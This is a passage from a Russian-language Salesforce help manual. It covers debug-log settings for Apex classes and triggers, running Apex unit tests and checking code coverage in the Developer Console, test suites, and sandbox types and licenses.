для категории Apex Code. Триггер Trigger2 наследует данные параметры журнала от класса Class2.
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Точная настройкафункции веденияжурналов отладки для классов и триггеров

Ниже приведен пример псевдокода, используемого в основе диаграммы.

1. Триггер Trigger1 вызывает метод класса Class1 и другой метод класса Class2. Например:

trigger Trigger1 on Account (before insert) {
Class1.someMethod();
Class2.anotherMethod();

}

2. Класс Class1 вызываетметодкласса Class3, который, всвоюочередь, вызываетметодслужебногокласса. Например:

public class Class1 {
public static void someMethod() {

Class3.thirdMethod();
}

}

public class Class3 {
public static void thirdMethod() {

UtilityClass.doSomething();
}

}

3. Класс Class2 вызывает выполнение триггера Trigger2. Например:

public class Class2 {
public static void anotherMethod() {

// Some code that causes Trigger2 to be fired.
}

}

СМ. ТАКЖЕ:

Настройка функции ведения журналов отладки

Уровни журнала отладки
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Тестирование

Тестирование изменений
Данный раздел содержит сведения о тестировании изменений.

• Модульные тесты Apex

• Работа с функцией выполнения теста Apex

• Выполнение тестов на консоли разработчика

• Выполнение анонимного кода Apex

Общие сведения о поблочных тестах Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Performance Edition,
Unlimited Edition,
Developer Edition,
Enterprise Edition и
Database.com Edition.

Управляемые пакеты
недоступны в версии
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения,
редактирования, удаления,
настройки параметров
безопасности, настройки
параметров версии,
просмотра зависимостей и
выполнения тестов для
классов Apex:
• «Автор Apex»

Тестирование — этоключевойэтаппроцессаразработкиприложения, предназначенного
для клиентов. Стабильно работающее приложение повышает доверие клиентов к
компании.

Можно запускать следующие группировки поблочных тестов.

• Некоторые или все методы в конкретном классе

• Некоторые или все методы в наборе классов

• Предопределенный пакет классов, известный как пакет тестов

• Все поблочные тесты организации

Тесты Apex, запускаемые из пользовательского интерфейса Salesforce, выполняются
параллельно. Не считая случаев, когда тестовый запуск включает всего один класс и не
выбран параметр «Всегда запускать асинхронно» из меню «Тест» консоли
разработчика, тестовые запуски, инициированные из пользовательского интерфейса,
будут работать асинхронно. Классы теста Apex добавляются в очередь заданий Apex для
последующего выполнения. Количество классов теста, доступных для выполнения в
течение 24 часов, не должно превышать 500 или значения, определяемого путем
умножения количества классов организации на «10». При использовании безопасной
средыилиорганизации Developer Edition данноеограничениеувеличиваетсяипревышает
500 или значение, определяемое путем умножения количества классов тестов в
организации на «20».

Покрытие кода по поблочным тестам
Преждечемразвернутьилидобавить код впакет Force.com AppExchange, воспользуйтесь
указанными ниже рекомендациями.

• Как минимум 75% кода Apex должно быть охвачено поблочными тестами, которые
должны быть выполнены без ошибок.

Обратите внимание на рекомендации ниже.

– РазвертываниеApexвпроизводственнойорганизацииинициируетвыполнениепоумолчаниюкаждогопоблочного
теста в пространстве имен организации.

– Вызовы метода System.debug не учитываются покрытием кода Apex.

– Методы и классы теста не учитываются покрытием кода Apex.
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– 75% кодаApexдолжнобытьохваченотестами; однакопроцентныйпоказательпокрытиякоданеявляетсяосновным.
Наоборот, убедитесь, что тесты охватывают все сценарии использования приложения, включая положительные
и отрицательные сценарии, а также групповые и отдельные записи. Данное действие гарантирует 75% покрытия
кода.

• Каждому триггеру должно отводиться некоторое тестовое покрытие.

• Все классы и триггеры должны быть скомпилированы без ошибок.

Если тест вызывает другой класс или инициирует выполнение триггера, то класс или триггер используется в расчетах
покрытия кода.

После выполнения тестов результаты покрытия кода отображаются на консоли разработчика.

Прежде чем создать результаты покрытия кода, выполните тесты посредством одного из перечисленных ниже методов.

• Чтобы запустить все тесты с консоли разработчика, выберите «Тест» > «Запустить все». Выполнение подгруппы
тестов не всегда надлежащим образом обновляет результаты покрытия кода, так что запуск всех тестов — лучший
способ просмотреть покрытие кода.

• Чтобы выбрать и выполнить тесты на Консоли разработчика, см. раздел «Создание тестового запуска».

• Длянастройкимногократноиспользуемогопакета тестовнаконсолиразработчикасм. раздел «Управлениенаборами
классов тестов Apex с помощью пакетов тестов».

• Чтобы запускать все тесты из раздела «Настройка», введите «Apex» в поле «Быстрый запуск», выберитеКлассы
Apex, затем щелкните «Выполнить все тесты».

• Чтобы запустить тесты для отдельного класса из раздела «Настройка», введите Apex в поле «Быстрый поиск», затем
выберитеВыполнение тестов Apex. Нажмите кнопку «Выбрать тесты», выберите классы, содержащие нужные
тесты, и нажмите кнопку «Выполнить».

Чтобы просмотреть результаты покрытия кода после выполнения тестов, воспользуйтесь консолью разработчика. Эти
результаты включают строки кода, охваченные тестами, для отдельного класса или триггера. См. раздел «Проверка
покрытия кода».

СМ. ТАКЖЕ:

Работа с функцией выполнения теста Apex

Руководство разработчика Apex: рекомендации по покрытию кода
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Выполнение теста Apex

Работа с функцией выполнения теста Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения,
редактирования, удаления,
настройки параметров
безопасности, настройки
параметров версии,
просмотра зависимостей и
выполнения тестов для
классов Apex:
• «Автор Apex»

1. Введите строку «Выполнение теста Apex» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Выполнение теста Apex».

2. Нажмите кнопку «Выбрать тесты…».

Прим.: ЧтобыпросмотретьклассыApex, установленныеизуправляемогопакета,
щелкните ссылку «Компилировать все классы» на странице «Классы Apex».
См. раздел «Управление классами Apex» на странице 5610.

3. Выберите нужные тесты. Список тестов содержит только классы, которые содержат
методы теста.

• Чтобы выбрать тесты из установленного управляемого пакета, выберите
соответствующее пространство имен управляемого пакета из раскрывающегося
списка. Список содержит только классы управляемого пакета, соответствующие
выбранному пространству имен.

• Чтобы выбрать локальные тесты организации, выберите «[Мое пространство
имен]»израскрывающегося списка. Список содержиттольколокальныеклассы,
отсутствующие в управляемых пакетах.

• Чтобы выбрать любой тест, выберите «[Все пространства имен]» из
раскрывающегося списка. Список содержитвсе классыорганизации, независимо
от их принадлежности управляемому пакету.

Прим.: Классы, тестыкоторыхвсе ещевыполняются, неотображаютсяв списке.

4. Нажмите кнопку «Запустить».

Выбранныеклассыдобавляютсявочередь заданийApexдляпоследующеговыполнения.
Количество классов теста, выбранных для выполнения, не должно превышать 500 или
значения, определяемогопутемумноженияколичестваклассоворганизациина «10» (втечение 24 часов). Прииспользовании
безопасной среды или организации Developer Edition данное ограничение увеличивается и превышает 500 или значение,
определяемое путем умножения количества классов организации на «20».

Чтобы отменить выполняемый тест, выберите как минимум один тест и нажмите кнопку «Отменить».

Ниже перечислены действия, доступные после выполнения теста.

• Чтобы просмотреть результаты, щелкните имя нужного теста. При наличии ошибок отображается сообщение о
первой ошибке и трассировка стека.

• Чтобы просмотреть исходный код Apex, щелкните «Просмотр».

Прим.: Результаты теста отображаются в течение 60 минут.

Чтобы просмотреть результаты всех тестов организации, воспользуйтесь страницей «Результаты теста Apex». Введите
строку «Выполнение теста Apex» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Выполнениетеста
Apex», затем щелкнитеПросмотржурнала теста.

Чтобы просмотреть дополнительную информацию о выполнении теста, воспользуйтесь консолью разработчика.

1. Откройте Консоль разработчика.
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2. Выполните тесты на странице «Выполнение теста Apex».

3. Чтобы просмотреть запрос, воспользуйтесь консолью разработчика.

Выключение параллельного выполнения тестов
Тесты, запущенныеизпользовательскогоинтерфейсаSalesforce (включаяконсольразработчика), выполняютсяпараллельно.
Параллельное выполнение тестовможет сократить время выполнения тестов. Параллельное выполнение тестов, которое
инициирует конфликты данных, может быть выключено. Ниже перечислены возможные случаи возникновения
конфликтов данных и ошибок UNABLE_TO_LOCK_ROW.

• Одновременное обновление тестами одних и тех же записей — Как правило, обновление одних и тех же записей
происходит тольков томслучае, еслитестыне создаютсобственныеданныеиотменяютблокировкудоступа к данным
организации.

• Взаимоблокировка тестов, выполняемых параллельно и пытающихся создать записи, содержащие повторяющиеся
значения полей индекса — Откат тестовых данных выполняется после выполнения метода теста. Взаимоблокировка
выполняется в том случае, если два выполняемых теста ожидают друг друга с целью отката данных, выполняемого
при вставке записей, содержащих одинаковые уникальные значения полей индекса, в разном порядке.

Чтобы избежать возникновения данных ошибок, выключите параллельное выполнение тестов в пользовательском
интерфейсе Salesforce.

1. Введите строку «Выполнение теста Apex» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Выполнение теста Apex», затем щелкнитеПараметры....

2. Установите флажок «Отключить параллельное тестирование Apex» в диалоговом окне «Параметры выполнения
теста Apex» и нажмите кнопку «OK».

Дополнительную информацию о тестовых данных см. в разделе «Изоляция тестовых данных от данных организации в
поблочныхтестах»Руководстваразработчика Force.com Apex Code. Данныйпараметрне влияетнапорядок выполнения тестов,
которые продолжают выполняться асинхронно на странице «Выполнение теста Apex».

Просмотр результатов покрытия кода
Чтобы просмотреть сведения о покрытии кода после выполнения тестов на странице «Выполнение теста Apex»,
воспользуйтесь консолью разработчика. См. раздел «Проверка покрытия кода».

Чтобы сократить время вычисления общих результатов покрытия кода, полученных посредством ссылки «Оценить
покрытие кода организации» на странице «Выполнение теста Apex», нажмите кнопку «Параметры...», установите
флажок «Сохранить только совокупноепокрытиекода» и нажмите кнопку «OK». Рекомендуем использовать данный
параметр только в том случае, если количество методов теста Apex, умноженное на количество всех классов и триггеров,
находитсявдиапазонесотентысяч.Припримененииданногопараметрарезультатыпокрытиякодасохраняютсясовокупно
для всех методов теста. Таким образом, пользователям недоступны результаты покрытия кода для отдельного метода
теста, включая синее и красное цветовое выделение, соответствующее построчному покрытию кода на консоли
разработчика. Дополнительные сведения о выполнении тестов см. в Справке по Salesforce: Создание тестового запуска и
Руководство разработчика Apex: «Выполнение методов поблочного теста».

Параметр теста «Независимая последовательность автонумерации»

Чтобы исключить пробелы автонумерации в записях организации, возникающие в результате использования тестовых
записей, созданных тестами Apex, нажмите кнопку «Параметры...», установите флажок «Независимая
последовательностьавтонумерации»инажмитекнопку«OK». Данныйпараметрпозволяетотделитьпоследовательность
автонумерации, используемую тестами Apex, от последовательности, используемой организацией. Таким образом,
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создание тестовых данных в тестах Apex не влияет на последовательность полей автонумерации для новых нетестовых
записей организации.

Если данный параметр отключен, то поля автонумерации тестовых записей, создаваемых тестами Apex, будут содержать
пробелы. Например, при наличии 50 записей организаций поле автонумерации последней созданной организации
может содержать значение «N-0050». Выполнение теста Apex, создающего пять тестовых организаций, инициирует
увеличение последовательности автонумерации на пять пунктов, несмотря на то, что данные тестовые записи могут не
передаватьсявбазуданныхиподлежатьвозврату. Данныйпробелявляетсяпричинойиспользованиязначения «N-0056»
вместозначения «N-0051» вполеавтонумерацииследующейсозданнойнетестовойзаписиорганизации. Привключении
данногопараметраперед выполнением тестаApex, создающего тестовые данные, система сохраняетпоследовательность
автонумерации, поэтому поле автонумерации следующей нетестовой записи будет содержать значение «N-0051».

Пробелы, возникающиевпоследовательностиавтонумерации, могутбытьследствиемдругихпричин (например, неудачное
выполнение триггеров, предназначенных для вставки новых записей, и возврат записей). В данном случае пробелы не
могут быть полностью исключены, так как в результате одной транзакции некоторые записи могут быть вставлены, а
другие возвращены.

СМ. ТАКЖЕ:

Открытие консоли разработчика

Результаты теста Apex

Сведения о результатах теста Apex

Результаты теста Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения,
редактирования, удаления,
настройки параметров
безопасности, настройки
параметров версии,
просмотра зависимостей и
выполнения тестов для
классов Apex:
• «Автор Apex»

В меню «Настройка» введите Apex в поле «Быстрый поиск», выберитеВыполнение
теста Apex, затем щелкнитеПросмотржурнала теста, чтобы просмотреть все
результатытестовдлявашейорганизации, анетолькозапущенныевамитесты. Результаты
теста хранятся в течение 30 дней или до момента удаления.

Чтобы просмотреть отфильтрованный список элементов, выберите нужное
представление в раскрывающемся списке «Просмотр» илищелкните ссылку «Создать
новое представление» для разработки собственных настраиваемых
представлений.Чтобыизменитьилиудалитьлюбое созданноепредставление, выберите
его в раскрывающемся списке «Просмотр» ищелкните ссылку «Правка».

Чтобыпросмотреть сведенияо выполненииконкретного теста, щелкните «Просмотр».

Журналуотладкиавтоматическиназначаютсяопределенныеуровниикатегории, которые
не могут быть изменены на странице «Выполнение теста Apex».

УровеньКатегория

INFODatabase

FINEApex Code

FINEApex Profiling

FINESTWorkflow

INFOValidation
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Важное замечание: Прежде чем развернуть или добавить код Apex в пакет Force.com AppExchange, воспользуйтесь
указанными ниже рекомендациями.

• Как минимум 75% кода Apex должно быть охвачено поблочными тестами, которые должны быть выполнены
без ошибок.

Обратите внимание на рекомендации ниже.

– Развертывание Apex в производственной организации инициирует выполнение по умолчанию каждого
поблочного теста в пространстве имен организации.

– Вызовы метода System.debug не учитываются покрытием кода Apex.

– Методы и классы теста не учитываются покрытием кода Apex.

– 75% кода Apex должно быть охвачено тестами; однако процентный показатель покрытия кода не является
основным. Наоборот, убедитесь, что тесты охватывают все сценарии использования приложения, включая
положительные и отрицательные сценарии, а также групповые и отдельные записи. Данное действие
гарантирует 75% покрытия кода.

• Каждому триггеру должно отводиться некоторое тестовое покрытие.

• Все классы и триггеры должны быть скомпилированы без ошибок.

СМ. ТАКЖЕ:

Сведения о результатах теста Apex

Сведения о результатах теста Apex

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения,
редактирования, удаления,
настройки параметров
безопасности, настройки
параметров версии,
просмотра зависимостей и
выполнения тестов для
классов Apex:
• «Автор Apex»

Чтобы просмотреть все результаты тестов для вашей организации в представлении по
умолчанию за тридцатидневный период, если он не очищен, а не только лично
запущенные тесты, в разделе «Настройка» введите «Apex» в поле «Быстрый поиск»,
выберите «Выполнение теста Apex», затем щелкните «Просмотржурнала теста».
Чтобыпросмотреть сведенияо выполненииконкретного теста, щелкните «Просмотр».

СМ. ТАКЖЕ:

Результаты теста Apex

Выполнение тестов на консоли разработчика

Выполнение тестов на консоли разработчика
Консоль разработчика позволяет настраивать тестовые запуски, запускать тесты и
проверять покрытие кода Apex.

Управление тестами можно осуществлять из меню «Test» консоли разработчика.

• Всегда запускать асинхронноЕсли этот параметр не включен, то синхронно
запускаются тестовые запуски с тестами только одного класса. Тестовые запуски, в
которых используется несколько классов, запускаются асинхронно, независимо от
того, включен ли этот параметр.
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• New Run: Создание тестового запуска. Дополнительные сведения см. в разделе «Создание тестового запуска».

• Повторный запуск Выполнение теста, выбранного на вкладке «Tests».

• Перезапустить неудачные тесты Выберите этот вариант, чтобы перезапустить только неудачно выполненные
тесты из тестового запуска, выделенного на вкладке «Тесты».

• Run All: выполнение всех сохраненных тестовых методов.

• Abort: Отмена теста, выбранного на вкладке «Tests».

• New Suite. Создание пакета классов тестов, обычно запускаемых вместе. Дополнительные сведения см. в разделе
Управление наборами классов тестов Apex с помощью пакетов тестов.

• Suite Manager. Созданиеили удалениепакетов тестов илиредактирование тех классов, которые входят в пакет тестов.

• New Suite Run. Создание тестового запуска классов в одном или нескольких пакетах тестов.

• Collapse All: Сворачивание всех открытых тестов на вкладке «Tests».

• Expand All: Разворачивание всех тестов на вкладке «Tests».

• Clear Test Data: Очистка текущих тестовых данных и результатов покрытия кода.

Выполненные тесты отображаются на вкладке «Tests» нижней панели консоли разработчика.

Панель Overall Code Coverage отображает процент покрытия кода для каждого класса организации. Данная панель всегда
отображает текущий процент для каждого класса. После выполнения тестового запуска всех классов данная панель
отображаетобщийединыйпроцентжирнымшрифтом. Дополнительнуюинформациюсм. вразделе «Проверкапокрытия
кода».

Дополнительные сведения о тестировании см. в Руководстве разработчика Apex: Тестирование Apex.

СМ. ТАКЖЕ:

Создание тестового запуска

Проверка покрытия кода
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Проверка покрытия кода
Консоль разработчика извлекает и отображает сведения о покрытии кода из организации. Результаты покрытия кода
извлекаются из любых тестов, выполненных посредством API или пользовательского интерфейса (например, консоль
разработчика, Force.com IDEилистраница «ВыполнениетестаApex»). Чтобыочиститьтекущиерезультаты, последовательно
выберите пункты Test > Clear Test Data. Покрытие кода для редактируемого класса удаляется до повторного выполнения
тестов.

Покрытие кода может быть просмотрено в нескольких областях консоли разработчика.

• Вкладка Tests содержит панель Overall Code Coverage, отображающую процент покрытия кода для каждого класса
Apexорганизации, добавленноговтестовыйзапуск. Крометого, даннаяпанельотображаетобщеепроцентноезначение.

• Чтобы открыть представление Tests Results, отображающее протестированный класс, протестированный метод,
продолжительность, результат (пропущено, успех или ошибка) и сообщение об ошибке (при ее наличии), дважды
щелкните нужный выполненный тестовый запуск. Если тест не выполнен, то столбец Stack Trace отображает метод и
номер строки, содержащей ошибку.

• ЧтобыпросмотретьпострочноепокрытиекодадляклассаApex, откройтенужныйкласс. Взависимостиотпримененных
тестов, меню Code Coverage может содержать как минимум один из указанных ниже параметров.

– None

– All Tests: процент покрытия кода для всех тестовых запусков.

– имя_класса.имя_метода: процент покрытия кода для метода, выполненного во время тестового запуска.

Строкикода, покрытыетестами, отображаютсясинимцветом. Строкикода, которыенепокрытытестами, отображаются
красным цветом. Строки кода, которые не требуют покрытия (например, фигурные скобки, комментарии и вызовы
System.debug), отображаются белым цветом.
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Прим.: Приредактировании класса с покрытием кода синее и красное цветовое выделение в представлении Source
Code Editor тускнеетиуказываетнанедействительностьпокрытия. Приредактированииисохраненииклассапокрытие
данного класса удаляется. Чтобы проверить покрытие для данного класса, перезапустите тесты.

СМ. ТАКЖЕ:

Создание тестового запуска

Выполнение тестов на консоли разработчика

Руководство разработчика Apex: рекомендации по покрытию кода

Создание тестового запуска
Тестовый запуск — это набор классов, содержащих методы теста. Создайте тестовый запуск в Консоли разработчика,
чтобы выполнить методы тестирования для одного нескольких классов тестирования.

1. Последовательно выберите пункты «Тест» > «Создать запуск» на консоли разработчика.

2. Для ограничения количества сбоев тестов перед остановкой запуска нажмите «Параметры». Введите значение для
параметра «Максимально допустимое количество сбоев» и нажмите OK.

Для разрешения запуска всех тестов в вашей организации независимо от количества сбоев установите параметр
«Максимально допустимое количество сбоев» в значение -1 или не устанавливайте значение для этого параметра.
Чтобы остановить в тестовом запуске выполнение новых тестов после определенного количества сбоев тестов
установите для параметра «Максимально допустимое количество сбоев» значение от 0 до 1 000 000. Значение 0
приведет костановке тестового запускапривозникновениикакого-либосбоя. Значение 1 вызоветостановку тестового
запуска на втором сбое и т.д. Учтите, что большие значения могут снизить производительность. Каждая 1 000 тестов,
которая добавляется к значению «Максимально допустимое количество сбоев», добавляет к тестовому запуску
примерно 3 секунды, не считая времени выполнения тестов.

Это значение применяется для всех выполняемых тестовых запусков, пока не будет закрыта консоль разработчика
или установлено новое значение.

3. Выберите класс в столбце «Классы тестов».

Чтобы отфильтровать список классов, заполните текстовое поле Filter test classes (* = any). Для выбора особых
методов тестированиящелкните класс теста и выберите тесты из центрального столбца. Можно удерживать нажатой
клавишу SHIFT или CTRL для выбора нескольких классов тестов. Для выбора всех методов во всех выбранных классах
нажмите «Добавить выбранные».
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4. После того, как все необходимые для запуска методы включены в столбец «Выбранные тесты», нажмите кнопку
«Запустить».

Тестовый запуск добавляетсяна вкладку Tests. Чтобыостановить тест, последовательновыберитепунктыTest > Abort.

Прим.: Если методы теста вызывают другие методы или классы, заданные в качестве тестов организации, то
данные методы и классы также выполняются.

5. Чтобы просмотреть результаты выполнения каждого метода, инициированного каждым выполняемым классом,
разверните тестовый запуск на вкладке Tests.

Прим.: Классы теста не требуют покрытия кода, поэтому отображают нулевое покрытие на панели Overall Code
Coverage и не влияют на общий процент покрытия кода.

6. Чтобыоткрытьрезультатывпредставлениисведений, дваждыщелкнитевыполненныйтестовыйзапуск. Представление
сведенийотображаетпроверенныйкласс, проверенныйметод, продолжительность, результат (пропущено, успехили
ошибка) и сообщение об ошибке (при ее наличии).

Если тест не выполнен, то столбец Stack Trace отображает метод и номер строки, содержащей ошибку.

Прим.: С вкладки «Тесты» нельзя открывать журналы для синхронных тестовых запусков. Однако доступ ко
всем журналам тестовых запусков есть на вкладке «Журналы».

7. Чтобы просмотреть покрытие кода, которое обеспечивает метод теста для каждого класса на панели «Покрытие кода
для класса», выберите нужный метод теста.

8. Чтобы очистить текущие результаты, последовательно выберите пункты «Тест» > «Очистить данные теста».

СМ. ТАКЖЕ:

Выполнение тестов на консоли разработчика

Проверка покрытия кода

Управление наборами классов тестов Apex с помощью пакетов тестов
Пакет тестов — это коллекция классов тестовApex, запускаемых вместе. Настройтепакет тестовна консолиразработчика
для определения набора классов тестов, которые обычно выполняются вместе. Например, создайте пакет тестов,
выполняемых каждый раз при подготовке к развертыванию или выпуске новой версии Salesforce.

1. Последовательно выберите пункты «Тест» > «Создать пакет» на консоли разработчика.

2. Введите название пакета тестов и нажмите кнопку OK.

3. С помощью стрелок переместите классы между столбцом «Доступные классы тестов» и «Выбранные классы тестов»
и нажмите кнопку «Сохранить».

Чтобы изменить классы в пакете выберите последовательно «Тест» > «Диспетчер пакетов» > «Ваш пакет тестов»  >
«Редактировать пакет». С помощью стрелок переместите классы между столбцом «Доступные классы тестов» и
«Выбранные классы тестов» и нажмите кнопку «Сохранить».

Для запуска пакета классов тестов выберите «Тест» > «Запустить новый пакет».

Развертывание

Данный раздел содержит сведения о развертывании изменений, внесенных в организацию.
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Рекомендуемизменятькодпосредствомбезопаснойсреды, позволяющейтестироватьизмененияпередихразвертыванием.
Безопасные среды содержат копии данных, кода и параметров конфигурации, изолированные от производственной
среды. Безопасная средапозволяетнастраиватьорганизациюитестироватьприложения, послечеговнесенныеизменения
могут быть развернуты в производственной организации. Иногда организации требуются разные безопасные среды для
работы нескольких разработчиков, которые затем координируют внесенные изменения для развертывания.
Дополнительнуюинформацию о процессе развертывания и инструментах, доступных для разработки и развертывания
изменений, см. в разделах ниже.

• Общие сведения о развертывании

• Выбор инструментов для разработки и развертывания изменений
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Развертывание дополнительных возможностей
посредством безопасных сред

Добро пожаловать, интеграторы, разработчики и администраторы
Salesforce!

Хотите настроить организацию в промежуточной среде, позволяющей тестировать изменения без влияния на
производственную организацию или ее пользователей? Хотите создать организацию, позволяющую пользователям
выполнять вход и тестировать новыефункции до их официального выпуска? Аможет, хотите использовать зеркальную
копию производственной организации Salesforce для обучения или разработки?

Компания Salesforce предоставляет пользователям доступ к безопасным средам и инструментам развертывания, которые
позволяют:

• изолировать настройки и разработки, неготовые к развертыванию, от производственной среды;

• тестировать изменения на основе копий данных и пользователей производственной организации;

• использовать среду для обучения;

• координировать отдельные внесенные изменения в производственной организации.

Чтобы гарантировать успешное создание и развертывание изменений в производственной организации, любой
пользователь — будь то администратор, добавляющийфункцииворганизацию, независимыйразработчик, создающий
код, илигруппаразработчиков, занимающаясярасширениеморганизации, — долженвыбиратьподходящиеинструменты
и среды. Дополнительнуюинформациюопроцессе разработки и рекомендациипо организациирабочего процесса см.
в Руководстве по жизненному циклу разработки.

СМ. ТАКЖЕ:

Общие сведения о безопасных средах

Общие сведения о развертывании

Выбор инструментов для разработки и развертывания изменений
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Настройка и управление безопасной средой

Общие сведения о безопасных средах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Доступно для приобретения
в версиях: Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра безопасной
среды:
• «Просмотр настройки и

конфигурации»

Для создания, обновления,
активации и удаления
безопасной среды:
• «Изменение всех

данных» ИЛИ
«Управление
безопасной средой»

Безопасные среды создают копии организации в отдельных средах. Рекомендуем
использовать безопасные среды для разработки, тестирования и обучения. Данная
возможность позволяет предотвратить случайное изменение или удаление данных и
приложений, используемых в производственной организации Salesforce.

БезопасныесредыполностьюизолированыотпроизводственнойорганизацииSalesforce,
поэтомуоперации, выполняемыевбезопасныхсредах, невлияютнапроизводственную
организацию Salesforce, и наоборот. Безопасные среды практически полностью
соответствуютпроизводственнойорганизации Salesforce. Списокразличийсм. вразделе
«Советы и рекомендации по настройке безопасной среды» на странице 5891.

Введите строку «Безопасные среды» в поле «Быстрый поиск» в меню «Настройка» и
выберите «Безопасные среды», чтобы просматривать существующие безопасные
средыиуправлятьимиилисоздаватьновые. Дополнительнуюинформациюсм. вразделе
«Управление безопасными средами» на странице 5885.

Типы безопасных сред
Developer Sandbox

Безопасные среды Developer Sandbox предназначены для создания и тестирования
кода в изолированной среде. Данные среды содержат копию конфигурации
(метаданных) производственной организации.

Developer Pro Sandbox
БезопасныесредыDeveloper Pro Sandboxпредназначеныдля созданияитестирования
кода в изолированной среде. Данные среды содержат копию конфигурации
(метаданных) производственнойорганизации. ВотличиеотбезопасныхсредDeveloper
Sandbox, данные безопасные среды отличаются увеличенным объемом хранилища.
Увеличенный объем позволяет использовать более надежные тестовые наборы
данныхиобрабатыватьбольшееколичествозадачпоразработкеиконтролюкачества.

Partial Copy Sandbox
Безопасные среды Partial Copy Sandbox предназначены для использования в качестве
тестовыхсред. Данныесредымогутиспользоватьсядлявыполнениязадачпоконтролюкачества (например, приемочное
тестирование, интеграционноетестированиеиобучение). Данныесредысодержаткопиюконфигурации (метаданных)
производственной организации и набор данных производственной организации, заданныйшаблоном безопасной
среды.

Full Sandbox
Безопасныесреды Full Sandboxпредназначеныдляиспользованияв качестве тестовыхсред. Толькобезопасныесреды
Full Sandboxподдерживаюттестированиепроизводительности, нагрузочноетестированиеипереносданных. Данные
среды являются точной копией производственной организации, включая все данные (например, записи объектов и
вложения) иметаданные. Длина интервала обновления не позволяет использовать безопасные среды Full Sandbox для
разработки.

Кроме того, при создании безопасной среды Full Sandbox рекомендуем определить объемы журнала отслеживания
поля и действий Chatter, доступные для добавления.
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• По умолчанию отслеживание поля пропускается; при необходимости добавьте журнал отслеживания поля за
периоднеболее 180 дней. Приотслеживаниижурналаполядлямногихобъектовпроизводственнойорганизации
рекомендуем выбиратьменьшее количество дней воизбежание слишкомбольшогообъема добавляемыхданных.

• Объем данных о действиях Chatter может быть слишком большим, увеличивая время копирования безопасной
среды Full Sandbox.

Рекомендуем ограничивать объем копируемого журнала поля и копировать данные Chatter только в том случае, если
они требуются для тестирования.

Вкладка «Шаблоны безопасной среды»
При приобретении лицензии на безопасные среды Partial Copy Sandbox или Full Sandbox данная вкладка содержит список
всех шаблонов, созданных пользователем.

Создайте шаблон данных безопасной среды, создайте безопасную среду на основе текущего шаблона, измените или
удалите нужныйшаблон, либо щелкните имя нужного шаблона для просмотра дополнительной информации.
Дополнительнуюинформациюосозданиишаблонаданныхбезопаснойсредысм. вразделе «Созданиеилиредактирование
шаблонов безопасной среды» на странице 5889.

Вкладка «Журнал безопасной среды»
Данная вкладка содержит журнал создания и обновления безопасной среды, включая сведения об авторе и времени
созданиябезопасныхсред. Данная вкладка являетсяисключительноинформационной. Чтобыпросмотретьилиизменить
текущую безопасную среду, воспользуйтесь вкладкой «Безопасная среда».

Лицензии на безопасную среду
Пользователи приобретают лицензии для каждого типа безопасной среды и могут приобретать несколько лицензий
каждого типа. Лицензиинабезопаснуюсредуотличаютсяналичиемиерархии. Таблицанижеопределяет типбезопасной
среды, который может быть создан при наличии одной из лицензий.

Лицензия
Developer
Sandbox

Лицензия
Developer Pro

Sandbox

Partial Copy
Sandbox

Лицензия Full
Sandbox

Позволяет создавать:

Тип Developer Sandbox

Тип Developer Pro Sandbox

Тип Partial Copy Sandbox

Тип Full Sandbox

Доступные состояния лицензий:

Доступно
Отображаемое значение соответствует количеству приобретенных безопасных сред, которое не используется.

Используется
Отображаемое значение соответствует количеству приобретенных безопасных сред, которое используется.
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Прим.: Еслиорганизациянеимеетдоступакбезопаснойсредеилииспользуетнедостаточноеколичестволицензий
на безопасные среды, обратитесь в компанию Salesforce для приобретения безопасных сред.

По истечении срока действия лицензий на безопасные среды текущие безопасные среды подвергаются некоторым
ограничениям. Дополнительную информацию см. в разделе «Общие сведения об истечении срока действия лицензий
на безопасную среду» на странице 5887.

Общие сведения об интервалах обновления безопасной среды
Интервал обновления для каждой безопасной среды вычисляется исходя из фактического времени начала процесса
копирования безопасной среды, Статус безопасной среды «Ожидание» заменяется статусом «Обработка» в начале
процесса копирования.

При наличии более ранних запросов на копирование безопасной среды статус «Ожидание» безопасной среды может
отображаться в течение некоторого периода времени. Таймер интервала обновления безопасной среды запускается
только после изменения данного статуса.

СМ. ТАКЖЕ:

Создание или обновление безопасной среды

Общие сведения о типах безопасных сред

Общие сведения об истечении срока действия лицензий на безопасную среду

Общие ограничения для безопасных сред и их хранилищ

https://developer.salesforce.com/docs/atlas.en-us.dev_lifecycle.meta/dev_lifecycle/

Общие сведения о типах безопасных сред

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

Доступно для приобретения
в версиях: Professional
Edition.

В зависимости от объемов хранилища, конфигурации копирования и частоты
обновления, система позволяет создавать разные безопасные среды.

Разные типы безопасных сред поддерживают разные действия.

Developer Sandbox
БезопаснаясредаDeveloper Sandboxизолируетразрабатываемыеизменениядомомента
их полной готовности. Безопасная среда Developer Sandbox предназначается для
одного разработчика, но поддерживает одновременный вход нескольких
пользователей.

Developer Pro Sandbox
Безопасная среда Developer Pro Sandbox поддерживает многие функции безопасных
сред Developer Sandbox, но отличается увеличенным объемом хранилища данных и
хранилищафайлов.

Безопасная среда Developer Pro Sandbox может обрабатывать более крупные наборы
